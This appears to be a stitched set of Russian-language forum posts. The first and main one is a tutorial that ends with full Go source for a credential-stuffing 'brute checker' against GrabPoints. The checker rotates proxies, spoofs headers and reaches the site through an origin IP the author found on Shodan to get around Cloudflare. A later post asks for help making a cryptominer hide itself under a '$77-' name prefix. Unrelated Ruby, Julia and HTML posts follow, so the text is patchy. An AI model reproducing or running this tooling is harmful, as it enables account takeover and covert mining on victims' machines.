fmt.Printf("%s:%s - fail\n", userName, password)
return 1, nil
}
}
fmt.Println("The maximum number of attempts has been reached.")
return 10, nil
}
В самой функции main мы передаем checkAuth полученные userName(во
время рефакторинга я изменил этот параметр, в примерах выше он был email) и
password из getAccount(). Давайте напишем черновой вариант
getAccount(). Реализуем цикл. Внутри цикла вызываем функцию
getProxy(). Далее код повторяет раннюю реализацию. Ошибки, за исключением
невозможности получить прокси, мы обрабатываем оператором continue ,
который продолжает выполнение цикла, переходя к следующей итерации. 0 - статус
для ошибок, 1 - успешно, 10, если мы превысили лимит прокси на один аккаунт.
На данный момент я тестирую на невалидных данных и мы должны попадать в блок
if strings.Contains(string(body), "bad credentials"), в котором мы выводим
данные о плохом аккаунте, возвращаем валидный прокси назад в файл и возвращаем
1, выходя из функции. Мы проверяем и понимаем, что сайт использует
Cloudflare. Если честно, я изначально не понял этого, и почему-то был
уверен, что на сайте нет Cloudflare, а планировал рассмотреть его в
третьей/четвертой части статьи. Но он все же здесь.
Cloudflare - это защита, которая помимо всего прочего может стать
преградой для написания брутчекера, поскольку для него наша активность
выглядит подозрительной, и он не дает доступа. По сути, он выступает
прокладкой между ресурсом и нами, и просто убивает запросы, не давая
достучаться к сайту. Что же делать? Искать обход. Важно понимать, что когда мы
обращаемся по домену, мы попадаем не к IP-адресу сайта, а к IP-адресу
Cloudflare, который скрывает основной IP. Если вы почитаете форум, узнаете
много возможных вариантов обхода. Существуют сервисы подобные Shodan, которые
могут помочь нам. Я писал об одном из таких в обзоре -
Fofa,
но если вы хотите узнать больше о самом Shodan, ищите на форуме “Расширенное
руководство по использованию Shodan ” или пройдите комнату на TryHackMe -
Shodan room.
Переходим на Shodan и вводим домен в поисковую строку.
Опа, па, видим реальный IP-адрес ресурса. На 8085 находится сам GrabPoints, но
при попытке обратиться к http://208.99.80.238:8085/login ничего путного не
получится. Дело в том, что API находится на другом порте. Давайте переберем
все порты, которые видим в Shodan. Предварительно обратимся к
https://api.grabpoints.com/login, чтобы понять, какой результат мы хотим
получить. Пока ищем API, находим https://freecryptorewards.com/ на порте
8500. Перебираем несколько опа-па http://208.99.80.238:8081/login - то, что
нужно. Задаем значение найденного адреса переменной urlAuth и успешно обходим
Cloudflare! Ура!
В целом финальная версия брута будет выглядит вот так:
C-like:Copy to clipboard
package main
import (
"bufio"
"bytes"
"crypto/tls"
"fmt"
"io"
"log"
"net/http"
"os"
"strings"
"time"
"golang.org/x/net/proxy"
)
const (
proxyFile = "proxy.txt"
accountFile = "forCheck.txt"
urlAuth = "http://208.99.80.238:8081/login"
requestTimeout = 5 * time.Second
)
func main() {
userName, password, err := getAccount()
if err != nil {
log.Fatalf("Failed to get account: %v", err)
}
fmt.Printf("Email: %s\nPassword: %s\n", userName, password)
statusCode, err := checkAuth(userName, password)
if err != nil {
log.Fatalf("Failed to check account: %v", err)
}
log.Printf("Status code: %d", statusCode)
}
func getProxy() (string, string, error) {
file, err := os.Open(proxyFile)
if err != nil {
return "", "", fmt.Errorf("failed to open proxy file: %v", err)
}
defer file.Close()
var proxyInfo string
scanner := bufio.NewScanner(file)
if scanner.Scan() {
proxyInfo = scanner.Text()
} else {
return "", "", fmt.Errorf("proxy file is empty")
}
parts := strings.Split(proxyInfo, ":")
if len(parts) != 2 {
return "", "", fmt.Errorf("invalid proxy format: %s", proxyInfo)
}
var remainingLines []string
for scanner.Scan() {
remainingLines = append(remainingLines, scanner.Text())
}
file.Close()
file, err = os.Create(proxyFile)
if err != nil {
return "", "", fmt.Errorf("failed to open proxy file for writing: %v", err)
}
defer file.Close()
for _, line := range remainingLines {
_, err := fmt.Fprintln(file, line)
if err != nil {
return "", "", fmt.Errorf("failed to write remaining lines to proxy file: %v", err)
}
}
return parts[0], parts[1], nil
}
func returnProxy(proxy, port string) error {
file, err := os.OpenFile(proxyFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return fmt.Errorf("failed to open proxy file: %v", err)
}
defer file.Close()
_, err = fmt.Fprintf(file, "%s:%s\n", proxy, port)
if err != nil {
return fmt.Errorf("failed to write proxy to file: %v", err)
}
return nil
}
func getAccount() (string, string, error) {
file, err := os.Open(accountFile)
if err != nil {
return "", "", fmt.Errorf("failed to open account file: %v", err)
}
defer file.Close()
var accountInfo string
scanner := bufio.NewScanner(file)
if scanner.Scan() {
accountInfo = scanner.Text()
} else {
return "", "", fmt.Errorf("account file is empty")
}
parts := strings.Split(accountInfo, ":")
if len(parts) != 2 {
return "", "", fmt.Errorf("invalid account format: %s", accountInfo)
}
var remainingLines []string
for scanner.Scan() {
remainingLines = append(remainingLines, scanner.Text())
}
file.Close()
file, err = os.Create(accountFile)
if err != nil {
return "", "", fmt.Errorf("failed to open account file for writing: %v", err)
}
defer file.Close()
for _, line := range remainingLines {
_, err := fmt.Fprintln(file, line)
if err != nil {
return "", "", fmt.Errorf("failed to write remaining lines to account file: %v", err)
}
}
return parts[0], parts[1], nil
}
func checkAuth(userName, password string) (int, error) {
for i := 0; i < 5; i++ {
ip, port, err := getProxy()
if err != nil {
return 0, fmt.Errorf("failed to get proxy: %v", err)
}
fmt.Printf("Proxy: %s\nPort: %s\n", ip, port)
dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%s", ip, port), nil, proxy.Direct)
if err != nil {
fmt.Printf("Error while creating SOCKS5 proxy: %v\n", err)
continue
}
fmt.Printf("Email: %s\nPassword: %s\n", userName, password)
payload := []byte(fmt.Sprintf(`{
"userName": "%s",
"password": "%s"
}`, userName, password))
httpTransport := &http.Transport{
Dial: dialer.Dial,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{Transport: httpTransport, Timeout: requestTimeout}
req, err := http.NewRequest("POST", urlAuth, bytes.NewBuffer(payload))
if err != nil {
fmt.Printf("Error creating request: %v\n", err)
continue
}
req.Header.Set("Content-Type", "application/vnd-v4.0+json")
req.Header.Set("User-Agent", "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Mobile")
req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Origin", "https://grabpoints.com/")
req.Header.Set("Referer", "https://grabpoints.com/")
resp, err := client.Do(req)
if err != nil {
fmt.Printf("Error sending request: %v\n", err)
continue
}
defer resp.Body.Close()
fmt.Println("Response Status:", resp.Status)
body, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Printf("Error reading response: %v\n", err)
continue
}
fmt.Println("Response Body:", string(body))
if strings.Contains(string(body), "bad credentials") {
err = returnProxy(ip, port)
if err != nil {
fmt.Printf("Failed to return proxy: %v", err)
}
fmt.Printf("%s:%s - fail\n", userName, password)
return 2, nil
}
if strings.Contains(string(body), "authorities") {
err = returnProxy(ip, port)
if err != nil {
fmt.Printf("Failed to return proxy: %v", err)
}
fmt.Printf("%s:%s - success\n", userName, password)
return 1, nil
}
}
fmt.Println("The maximum number of attempts has been reached.")
return 10, nil
}
Не думаю, что именно этот сайт представляет какой-то интерес с точки зрения материальных выводов. На его примере я хотел показать логику разработки брутчекера, а также некоторые проблемы, которые могут встретиться на пути. Вероятно, при разработке брутчекера для банков, платежных систем мы столкнемся с более мощными защитами, о капчах, а также многопоточности я расскажу уже в следующий раз. В любом случае, разработка подобных программ может быть очень увлекательным занятием, впрочем, эта история всего лишь выдумка
Наверное такая тема уже есть. Но как сделать цифровую подпись издателя exe
файла, что бы UAC был красивый?
Я так понимаю там какой-то манифест xml в файле ресурсов нужно слинковать?
И да такой вопросик, законно ли сбрасывать Trial у программы?
this helps for bigginer go programers to create their own tools ,
[black_hat_go.PDF](https://dl.hiva-network.com/Library/security/Black-Hat-
Go_Go-Programming-For-Hackers-and-Pentesters.pdf)
Помогите пожалуйста с кодом.
Нужно, чтобы при нажатии на "radio button" выползал ползунок с "велью" от 0 до
6, а в этот момент внизу открывалась табличка с описанием и кнопка, значение в
которой изменялось бы в зависимости от положения ползунка.
Сейчас у меня просто ползунок не привязанный и статичная стоимость в табличке и кнопке.
HTML:Copy to clipboard
<form action="" method="post" class="" enctype="multipart/form-data">
<div class="ipsSideBlock clearfix">
<h3>Иммунитеты</h3>
<div class="_sbcollapsable">
<div class="services_contant">
<div class="services">
<div class="service_block">
<label for="radio-1" class="radio_label">
<input type="radio" id="radio-1" name="radio" value="check1" data-price="100" data-name="Иммунитет от бана за выход. Позволяет покинуть активный матч без автоматической блокировки">
<div class="images"><img src="/scripts/services/img/exit.png"></div>
<center><span>Иммунитет от бана за выход</span></center>
</label>
</div>
<div class="service_block">
<label for="radio-2" class="radio_label">
<input type="radio" id="radio-2" name="radio" value="check2" data-price="70" data-name="Иммунитет от системы последнего игрока. Позволяет капитанам выбирать вас в команду, даже если вы зашли на сервер последним игроком">
<div class="images"><img src="/scripts/services/img/last.png"></div>
<center><span>Иммунитет от системы последнего игрока</span></center>
</label>
</div>
<div class="service_block">
<label for="radio-3" class="radio_label">
<input type="radio" id="radio-3" name="radio" value="check3" data-price="150" data-name="Оба иммунитета сразу:<br>-От бана за выход.<br>Позволяет покинуть активный матч без автоматической блокировки за выход<br>-От системы последнего игрока. Позволяет капитанам выбирать вас в команду, даже если вы зашли на сервер последним игроком">
<div class="images"><img src="/scripts/services/img/oba.png"></div>
<center><span>Оба иммунитета сразу</span></center>
</label>
</div>
</div>
<style>
.slidecontainer {
width: 100%; /* Width of the outside container */
}
/* The slider itself */
.slider {
-webkit-appearance: none; /* Override default CSS styles */
appearance: none;
width: 100%; /* Full-width */
height: 25px; /* Specified height */
background: #d3d3d3; /* Grey background */
outline: none; /* Remove outline */
opacity: 0.7; /* Set transparency (for mouse-over effects on hover) */
-webkit-transition: .2s; /* 0.2 seconds transition on hover */
transition: opacity .2s;
}
/* Mouse-over effects */
.slider:hover {
opacity: 1; /* Fully shown on mouse-over */
}
/* The slider handle (use -webkit- (Chrome, Opera, Safari, Edge) and -moz- (Firefox) to override default look) */
.slider::-webkit-slider-thumb {
-webkit-appearance: none; /* Override default look */
appearance: none;
width: 25px; /* Set a specific slider handle width */
height: 25px; /* Slider handle height */
background: #4CAF50; /* Blue background */
cursor: pointer; /* Cursor on hover */
}
.slider::-moz-range-thumb {
width: 25px; /* Set a specific slider handle width */
height: 25px; /* Slider handle height */
background: #4CAF50; /* Green background */
cursor: pointer; /* Cursor on hover */
}
</style>
<div class="slidecontainer">
<input type="range" min="0" max="6" value="0" class="slider" id="myRange" onchange="document.getElementById('rangeValue').innerHTML = this.value;">
<datalist id="rangeList">
<option value="1" label="1 месяц">
</option><option value="2" label="2 месяца">
</option><option value="3" label="3 месяца">
</option><option value="4" label="4 месяца">
</option><option value="5" label="5 месяцев">
</option><option value="6" label="6 месяцев">
</option></datalist>
<span id="rangeValue">1</span>
</div>
</div>
</div>
</div>
<div class="total" style="display: block;">
Ваш текущий выбор:
<div class="name_services">Иммунитет от системы последнего игрока. Позволяет капитанам выбирать вас в команду, даже если вы зашли на сервер последним игроком</div>
<br>
Стоимость:
<div class="price_services">70 рублей</div>
</div>
<div class=" services clearfix">
<div class="forma_button clearfix">
<input type="hidden" name="member_id" value="5213" required="required">
<input class="request_unban send" style="" type="submit" value="Оплатить с баланса 70 рублей">
</div>
</div>
</form>
Здравствуйте вот решил выложить свой код.
Да скрипт на .bat но сильно плеваться не нужно. Просто для меня было интересно
такое вот написать. Маскировка команд, Мутация кода, uep, и всякое такое...
Когда-то в одной беседе Инди выдал мне для публикации на форуме архив с его
наработками.
Многие из них есть на его сайте, но многие (как он сказал) еще не видели
света.
В общем, с запозданием, но публикую его архив.
Для чего устанавливать Ruby
Ruby — это скриптовый язык, то есть для запуска программ не требуется предварительная компиляция. В этом смысле Ruby является аналогом PHP, Python, PERL и других.
Ruby достаточно популярный язык и на нём написано много интересных программ; если говорить применительно к InfoSec, то в качестве примеров можно привести знаменитые WPScan, WhatWeb, Wayback Machine Downloader и другие.
Установив Ruby на Windows вы сможете запускать программы, написанные на этом языке, а также изучать это язык программирования и писать свои собственные скрипты.
Кстати, Ruby, наравне как и PHP, Python и PERL, может быть модулем веб-сервера и скрипты, написанные на этом языке, можно использовать в качестве программной основы веб-сайта или сервиса.
Как установить Ruby на Windows
Для установке перейдите на страницу https://rubyinstaller.org/downloads/
Там вы увидите много вариантов установщика, которые различаются не только версиями, но и составом скаченных файлов. Исполнимые файлы являются самодостаточными установщиками для Windows, которые включают язык Ruby, окружение выполнения, важную документацию и прочее. Если вы не знаете, какую версию установить, чтобы начать знакомство с Ruby, то рекомендуется установщик Ruby+Devkit 2.6.X (x64). Он предоставляет самое большое число совместимых gem (пакеты Ruby) и устанавливает MSYS2-Devkit вместе с Ruby, благодаря чему gem с C-расширениями могут быть скомпилированы сразу после завершения установки.
Запустите скаченный файл. В этом окне мы можем выбрать настройки:
Папку установки можно оставить без изменения.
Add Ruby executables to your PATH – означает добавить каталог с
исполнимыми файлами Ruby в системную переменную. Это рекомендуется сделать,
чтобы не указывать при каждом запуске скрипта Ruby полный путь до
интерпретатора скриптов.
Associate .rb and .rbw files with Ruby installation — означает связать
файлы с расширениями .rb и .rbw с установленным Ruby. Благодаря этому
файлы Ruby можно будет запускать двойным кликом или набрав имя скрипта в
командной строке.
Use UTF-8 as default external encoding – означает использовать кодировку
UTF-8 в качестве внешней кодировки по умолчанию.
Я выбрал все три галочки и в качестве папку установки ввёл C:\Ruby26 :
Как видно на следующей странице, сам пакет Ruby занимает немного места, но
много места занимается предлагаемая к установке набор инструментов
разработчика MSYS2. Я настоятельно рекомендую установить MSYS2, поскольку
кроме упомянутой выше возможности компилировать пакеты для Ruby, MSYS2
обеспечивает консольное окружение с функциями Linux (примерно как это делает
[Cygwin](https://kali.org.ru/%D0%B4%D1%80%D1%83%D0%B3%D0%B8%D0%B5-it-%D1%82%D0%B5%D0%BC%D1%8B/%D0%BA%D0%B0%D0%BA-%D0%BD%D0%B0%D1%87%D0%B0%D1%82%D1%8C-%D0%B7%D0%BD%D0%B0%D0%BA%D0%BE%D0%BC%D1%81%D1%82%D0%B2%D0%BE-%D1%81-%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%B0%D0%BC%D0%B8-linux-
cygwin), но с дополнительными возможностями).
Оставьте галочку на последнем окне для настройки инструментов разработчика
MSYS2 и нажмите Finish.
Далее нам предлагается:
Code:Copy to clipboard
1 - MSYS2 base installation
2 - MSYS2 system update (optional)
3 - MSYS2 and MINGW development toolchain
Which components shall be installed? If unsure press ENTER [1,2,3]
Просто нажимаем ENTER для выполнения всех трёх действий:
Всё завершено, для выхода нажмите ENTER:
Кстати, если вы внимательно смотрели за происходящем на экране, то могли заметить pacman. В этом консольном окружении действительно есть менеджер пакетов pacman. К другим функциями MSYS2 вернёмся чуть позже.
Как обновить Ruby на Windows
Для обновления до последнего патча (то есть минорной версии, к примеру с 2.5.1 до 2.5.4), достаточно запустить новую версию установщика. Установленные gem (пакеты из репозитория Ruby), не перезаписываются и будут работать с новой версией без переустановки. Для обновления установки достаточно использовать RubyInstaller без Devkit. Обновить Devkit можно отдельно запустив в командной строке Windows следующую команду:
Code:Copy to clipboard
ridk install
При выходе новой мажорной версии её нельзя обновить установкой в ту же директорию, что и предыдущая. К примеру, если предыдущая версия установки RubyInstaller-2.5.x, а новая версия RubyInstaller-2.6.x, то её нужно установить либо в новую директорию, либо удалить старую версию и вместо неё установить новую, поскольку gem (программы) с C расширениями не совместимы между ruby-2.5 и 2.6.
Как установить и использовать gem в Windows
RubyGems — это менеджер пакетов для Ruby. С помощью него можно установить различные программы и их зависимости, установку можно делать как из исходного кода на локальной системе, так и с удалённых источников приложений.
Показанная выше установка Ruby также устанавливает и gem , чтобы в этом убедиться выполните команду:
Code:Copy to clipboard
gem --help
Вы должны увидеть справку по использованию gem.
Чтобы вывести все доступные команды gem, выполните:
Code:Copy to clipboard
gem help commands
Чтобы установить пакет запустите команду вида:
Code:Copy to clipboard
gem install ИМЯ_ПРОГРАММЫ
Больше примеров по установке пакетов будет далее.
Чтобы показать справку о команде установки:
Code:Copy to clipboard
gem help install
К примеру, для установки программы 'rake' из локальной директории или удалённого сервера:
Code:Copy to clipboard
gem install rake
Установка пакета 'rake' только с удалённого сервера:
Code:Copy to clipboard
gem install rake --remote
Установка 'rake', но только версии 0.3.1, даже если имеются неудовлетворённые зависимости, установку сделать в пользовательскую директорию:
Code:Copy to clipboard
gem install rake --version 0.3.1 --force --user-install
Вывести список gem (пакетов), чьё имя начинается на 'D' :
Code:Copy to clipboard
gem list D
Вывести список локальный и удалённых gem, чьё имя содержит 'log':
Code:Copy to clipboard
gem search log --both
Предыдущая команда используется для поиска пакетов по имени.
Вывести список только удалённых (не локальных) gem, чьё имя содержит 'log':
Code:Copy to clipboard
gem search log --remote
Удалить 'rake':
Code:Copy to clipboard
gem uninstall rake
Просмотреть информацию о RubyGems:
Code:Copy to clipboard
gem environment
Обновить все программы gem в системе:
Code:Copy to clipboard
gem update
Обновить локальную версию RubyGems:
Code:Copy to clipboard
gem update --system
Как установить bundler
bundler — это менеджер зависимостей Ruby. Данный менеджер пригодится при установке других программ, написанных на Ruby.
Для установки bundler в Windows выполните:
Code:Copy to clipboard
gem install bundler
Для обновления bundle выполните команду:
Code:Copy to clipboard
gem update bundle
Если вы устанавливаете программу из исходного кода и там присутствует файл Gemfile , то перейдите в папку с этой программой и выполните в ней команду:
Code:Copy to clipboard
bundle install
Эта команда установит все перечисленные в файле Gemfile зависимости.
Чтобы увидеть, где установленные с помощью bundle пакеты gem, используйте команду:
Code:Copy to clipboard
bundle info ИМЯ_gem
Как установить программу Ruby в Windows. Как запустить программу Ruby в
Windows
Далее рассмотрим несколько примеров установки и использования программ на Ruby
в Windows.
Восстановление сайтов из Интернет Архива в Windows
Начнём с программы Wayback Machine Downloader, которая полностью
восстанавливает сайты из веб архива.
Для установки Wayback Machine Downloader достаточно выполнить:
Code:Copy to clipboard
gem install wayback_machine_downloader
Проверяем:
Code:Copy to clipboard
wayback_machine_downloader --help
Запустим для проверки работоспособности программы восстановление сайта из Архива Интернета:
Code:Copy to clipboard
wayback_machine_downloader https://site.com
Что такое MSYS2. Как пользоваться MSYS2
Мы установили уже MSYS2 для того, чтобы получить доступ к инструментам компиляции, благодаря которым мы сможем установить любой пакет Ruby. На самом деле MSYS2 основывается на Cygwin и содержит большое количество утилит Linux.
MSYS2 предоставляет оболочку bash , Autotools , make , gcc , pacman , sh и многие другие пакеты. Особенно следует отметить менеджер пакетов pacman.
Для активации рабочего окружения MSYS2 откройте командную строку или консоль powershell и выполните там:
Code:Copy to clipboard
ridk enable
В результате сразу станут доступны для работы многие утилиты Linux, а также менеджер пакетов Pacman, с помощью которого можно установить новые пакеты или обновить имеющиеся. При установке пакетов Pacman следит за зависимостями и устанавливает их.
Для обновления всех пакетов:
Code:Copy to clipboard
pacman -Syu
Для поиска пакета:
Code:Copy to clipboard
pacman -Ss ИМЯ_ПАКЕТА
Для вывода списка всех доступных пакетов:
Code:Copy to clipboard
pacman -Ss
автор: Alexey
взято с hackware.ru
Взял паблик кароч майнер сижу дописываю, осталось последнее, он когда
подгружает xmrig и себя даёт рандомное название,а мне над что бы в начале он
писал $77- перед рандомным,кто поможет подкину монету.
Телега: Firewoll
Julia — молодой язык программирования, предназначенный преимущественно для научных вычислений. Его создатели хотели, чтобы он занял нишу, которую прежде занимали Matlab, его клоны и R. Создатели пытались решить так называемую проблему двух языков: совместить удобство R и Python и производительность C. Посмотрим, что у них получилось.
История
Разрабатывают язык в Массачусетском технологическом институте с 2009 года, а в
начале 2012 года была выпущена публичная версия. Бета имела много проблем и
интересовала только любопытных энтузиастов и разработчиков-альтруистов,
которые старались приспособить окружения под постоянно меняющиеся стандарты.
Вот что пишут создатели Julia.
Мы хотим язык с открытым исходным кодом, с либеральной лицензией. Мы хотим скорость C с динамизмом Ruby. Нам нужен гомоиконичный язык с настоящими макросами, как Lisp, но с очевидными, знакомыми математическими обозначениями, такими как в Matlab. Мы хотим что-то такое же удобное для общего программирования, как Python, такое же простое для статистики, как R, такое же естественное для обработки строк, как Perl, такое же мощное для линейной алгебры, как Matlab, и способное склеивать программы вместе как оболочку. Нечто простое в освоении, но при этом радующее самых серьезных хакеров. Мы хотим высокой интерактивности и эффективной компиляции. Мы ведь не слишком многого просим, верно?
Click to expand...
В августе 2018 года вышла версия 1.0.0, что породило бурный интерес к языку. Джулию начали преподавать в университетах США, появились онлайновые курсы (на Cursera и Julia Academy), стартовали коммерческие и исследовательские проекты, разработчики начали проявлять интерес, а владение этим языком вошло в топ самых востребованных профессиональных навыков по версии Upwork. Стабилизация синтаксиса, в свою очередь, вызвала взрывной рост разработки вспомогательных пакетов.
Характеристики
Синтаксис
Julia выглядит лучше, чем Matlab, но на достижение это не тянет. Среди
основных языков программирования закостенелость и плохой дизайн Matlab
уступают только PHP. В Octave и Scilab некоторые из этих проблем исправили, но
там есть и свои. Matlab и R берут тем, что у них огромные, собранные за годы
библиотеки наборов инструментов и функций, с которыми легко решать научные и
вычислительные задачи.
В арсенале Julia этого пока нет: потребуются годы, чтобы создать собственную настолько же полную библиотеку пакетов.
Как и в перечисленных языках (Python, Matlab и прочие во главе с легендарным
Fortran), в Julia есть срезы (Arr[:,1]
), арифметические операторы
распространяются на массивы, а индексация начинается с единицы.
Но вернемся к синтаксису. Для начала создадим пару массивов-векторов:
Code:Copy to clipboard
julia> A = [2, 3, 4]
3-element Array{Int64,1}:
2
3
4
julia> B = [6+2im, 0.8, -1]
3-element Array{Complex{Float64},1}:
6.0 + 2.0im
0.8 + 0.0im
-1.0 + 0.0im
Обрати внимание, что можно использовать разные числовые типы: тип подгоняется под высший в иерархии. Теперь создадим массив-строку и выполним элементарные операции:
Code:Copy to clipboard
julia> C = [1 0 1]
1?3 Array{Int64,2}:
1 0 1
julia> A+B
3-element Array{Complex{Float64},1}:
8.0 + 2.0im
3.8 + 0.0im
3.0 + 0.0im
julia> C * ans.^2
1-element Array{Complex{Float64},1}:
69.0 + 32.0im
Результат последних вычислений хранится в переменной ans, в нашем случае — массив, который получился при сложении А и В. Мы его поэлементно возвели в квадрат и скалярно умножили на С.
Давай посмотрим, как можно задавать функции.
Code:Copy to clipboard
function cube(x)
x^3
end
cube(x) = x^3
Функции возвращают результат последних вычислений, то есть return прописывать не обязательно. Есть возможность использовать анонимные функции (похоже на лямбды из Python). Например, посчитаем евклидову норму вектора:
Code:Copy to clipboard
sqrt( sum(x-> x^2, Arr) )
Можно записать то же самое цепочкой функций (ведь это унарные операторы):
Code:Copy to clipboard
Arr.^2 |> sum |> sqrt
Нужные функции, как правило, уже есть в стандартной библиотеке. Для следующих двух примеров есть аналог — hypot(Arr). Со строками работать так же просто, как с массивами. Выполним конкатенацию и запросто реализуем шифр Цезаря:
Code:Copy to clipboard
julia> "russian" * ' ' * "hacker"
"russian hacker"
julia> caesar(X, n) = prod( [x+n for x in X] )
caesar (generic function with 1 method)
julia> caesar("hakep.ru", 5)
"mfpju3wz"
Поскольку задать функцию и множество для создания массива можно несколькими
способами, есть и разные стили написания. Тру стори: думаешь, что за год
хорошо разобрался в языке, раз задаешь массивы с помощью включений ([2*i for i = 1:10]
), а потом однажды в чужом коде видишь 2*[1:10;]
и ничего не
понимаешь. Так что неплохо поинтересоваться и итераторами тоже.
Скорость
Скорость подкупает. Но если ты возьмешь и напишешь скрипт, выводящий энный
член множества Фибоначчи, окажется, что вычисления идут медленно, не быстрее,
чем на Python. Скорость Julia достигается за счет множественной
диспетчеризации с последующей JIT-компиляцией.
Преимущество модели метода Julia в том, что она хорошо сочетается с
диспетчеризацией по нескольким типам. При создании функции вида f(a,b)
, в
зависимости от операций, которые используются внутри, будут определены методы
для различных случаев. Скажем, f(a::Int, b::Int), f(a::Float, b::Int), f(a::String, b::Int)
— для каждого будет скомпилирован высокоэффективный код,
во многом идентичный тому, что дает C или Fortran. И ты можешь посмотреть этот
код с помощью простых команд:
Code:Copy to clipboard
function f(a,b)
return 2a+b
end
@code_native f(2.0,3.0)
pushq %rbp
movq %rsp, %rbp
Source line: 2
vaddsd %xmm0, %xmm0, %xmm0
vaddsd %xmm1, %xmm0, %xmm0
popq %rbp
retq
nop
@code_native f(2,3)
pushq %rbp
movq %rsp, %rbp
Source line: 2
leaq (%rdx,%rcx,2), %rax
popq %rbp
retq
nopw (%rax,%rax)
Эта избыточность замедляет загрузку интерпретатора, пакетов и первый запуск твоего скрипта. А так как интерпретатор имеет глобальную область видимости и не допускает специфику типов, то будет генерироваться громоздкий низкоуровневый код, который старается предусмотреть любую нестабильность типов.
Это решается легко: оборачивай свои операции в функции, избегай глобальных переменных и по возможности выстраивай логику программы, ориентируясь на конкретную задачу. Типы можно указывать и явно — как в статически типизированных языках. Кстати, мой пример шифратора Цезаря может принимать и строки, и массивы целых и комплексных чисел. Как думаешь, какой длины будет портянка LLVM, сгенерированная для этой функции?
Параллельные вычисления
Как и остальные молодые языки вроде Go, Julia просто обязана быть
ориентированной на многопроцессорные операции «из коробки». В наше время
большие объемы вычислений выполняются в облачных средах, где по требованию
выделяются нужные ресурсы. Стандарт MPI, который используют для организации
работы крупномасштабных параллельных приложений, не отличается особой
эластичностью. В ходе вычислений нельзя добавить процессоры, и возможности
восстановления после сбоев весьма ограниченны.
В Julia передача сообщений отличается от MPI. Вместо модели «запрос — ответ» используется глобально распределенное адресное пространство, что позволяет легко оперировать ссылками на объекты на разных машинах и на ходу добавлять дополнительные ресурсы.
А еще это чертовски просто реализовать! Вызываем пакеты, которые позволят осуществлять распределенные вычисления и использовать общие для всех процессов массивы. Указываем, что нужно посчитать параллельно.
Code:Copy to clipboard
using Distributed, SharedArrays
addprocs(2)
a = SharedArray{Float64}(10)
@distributed for i = 1:10
a[i] = i
end
Или вычислим число пи одним из самых непрактичных способов на двух ядрах:
Code:Copy to clipboard
using Distributed, Statistics
addprocs(2)
@everywhere function PI(n)
p = 0
for i = 1:n
x = rand(); y = rand()
p += (x^2 + y^2) <= 1
end
4p/n
end
find_PI(N) = mean( pmap( PI, [N/nworkers() for i = 1:nworkers()] ) )
julia> @time fPI(1_000_000_000)
2.674318 seconds (181 allocations: 7.453 KiB)
3.1416085999999996
В Julia используются такие техники, как Atomic Operations, Channels и Coroutines, а также MPI и CUDA.
Недавно была анонсирована новая способность Julia — Composable multi-threaded parallelism. Так что, если тебе нужно обработать 150 Тбайт астрономических данных, повысить эффективность своей криптофермы, произвести [климатическое моделирование](https://my.nps.edu/-/nps-researchers-partner-on-next- generation-climate-model), ты знаешь, какой инструмент выбрать.
Дополнительные преимущества
?prod, ?sqrt, ?*, ??
\lambda + <Tab>
превратится в λ — приятная мелочь, хоть и не все консоли и браузеры ее отобразят.Где запускать
Плагины и редакторы:
Насущный вопрос
Может быть, ты уже задался вопросом, почему Julia не поддерживает объектно
ориентированное программирование. Но это не так. Julia — мультипарадигмальный
язык, который поддерживает методы из процедурного, декларативного,
функционального, мета и — внимание! — объектно ориентированного
программирования.
Здесь все является объектом, есть наследование, абстрактные классы,
полиморфизм, инкапсуляция. Точнее, в Julia все есть множественная
диспетчеризация (multiple dispatch). Вместо завязки на экземпляре объекта
instance.method(…) будет метод, заточенный под объекты: method(instance, …)
.
Недостаток в том, что типы и методы по умолчанию не связаны между собой: можно получить код, где для какого-то типа нет методов либо они есть, но конфликтуют. Практически, идиоматичная Julia просто объединяет все методы с одним и тем же именем.
Code:Copy to clipboard
julia> size
size (generic function with 89 methods)
В результате у Julia по дизайну все полиморфно. Так что Julia объектно ориентирована до глубины души. Но это неочевидно из-за размытия границы между функциональным программированием и объектно ориентированным.
Создатели Julia были сосредоточены на разработке языка для поддержки математического программирования. Использование ООП в стиле С++ и Java, когда первый оператор владеет функцией, было неудобно в плане реализации и организации кода. Методы класса не очень-то полезны при работе с векторами, матрицами и тензорами, и наличие первого аргумента в выражении может привести к путанице.
Еще одна вещь, которую люди часто замечают, — поля данных не могут быть унаследованы, хотя не обязательно считать это неотъемлемой частью ООП, это просто свойство объектно ориентированных языков.
Множественная диспетчеризация — элегантное решение, которое дает программисту большую часть преимуществ ООП и в то же время не конфликтует с тем, как в нем работает математика.
Python или Julia
Из-за пологой кривой обучения Julia почти идеальна в качестве первого языка
программирования, с которого можно переучиться на Python или углубиться в C. Я
слышал, как преподаватели сетуют на то, что Python калечит в студентах
программистов и их потом трудно переучивать на что-то более близкое к железу.
Однако Julia не может делать все, что делает Python, хотя она применима для большинства практических целей. И, как любой язык программирования, она имеет свои подводные камни. Ты можешь использовать метапрограммирование и макросы, передавать их символьно в функции и из функций, но действительно передавать сами макросы нельзя. Функция evalвсегда работает в области уровня модуля.
В Python метаклассы и проверки доступны везде, поскольку eval работает в локальной области.
Типы в Julia являются объектами, и ты можешь передавать конструкторы типов сколько угодно, но типы могут быть определены только на верхнем уровне модуля, и их нельзя изменить после объявления. Это важное отличие от динамических языков вроде Python, Ruby, JavaScript и Smalltalk. Хотя типы в Julia могут быть сгенерированы с помощью eval.
В Python новые классы разрешено создавать внутри функций, которые существуют только в этой локальной области, и атрибуты класса можно динамически исправлять во время выполнения.
Разработчики Julia добились впечатляющих успехов, но у их языка еще нет той опоры, которая обеспечивает долгосрочный успех. Даже сочетание удобства и скорости Julia не заставит поклонников Python ему изменить (но это не точно). Python уже имеет связь с относительно низкоуровневыми операциями в виде Cython и даже упаковку для LLVM — Numba.
